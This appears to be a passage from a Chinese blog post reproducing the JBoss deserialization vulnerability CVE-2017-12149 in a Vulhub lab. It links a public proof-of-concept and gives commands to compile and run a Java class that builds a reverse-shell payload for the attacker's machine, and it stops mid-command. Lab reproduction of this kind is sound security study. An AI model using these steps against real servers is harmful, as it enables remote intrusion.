【Vulhub】CVE-2017-12149 JBOSS反序列化漏洞复现

最新推荐文章于 2024-08-06 20:14:12 发布

原创

最新推荐文章于 2024-08-06 20:14:12 发布 · 2.4k 阅读

5 ·

CC 4.0 BY-SA版权

环境

目标(Kali)：http://192.168.0.11:8080/

操作机（Paroot）：192.168.0.131

过程

下载POC：https://github.com/joaomatosf/JavaDeserH2HC

POC使用方法：

攻击机下载执行执行生成二进制payload文件：

javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
  
 #修改接收shell的主机ip和端口

java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap 192.168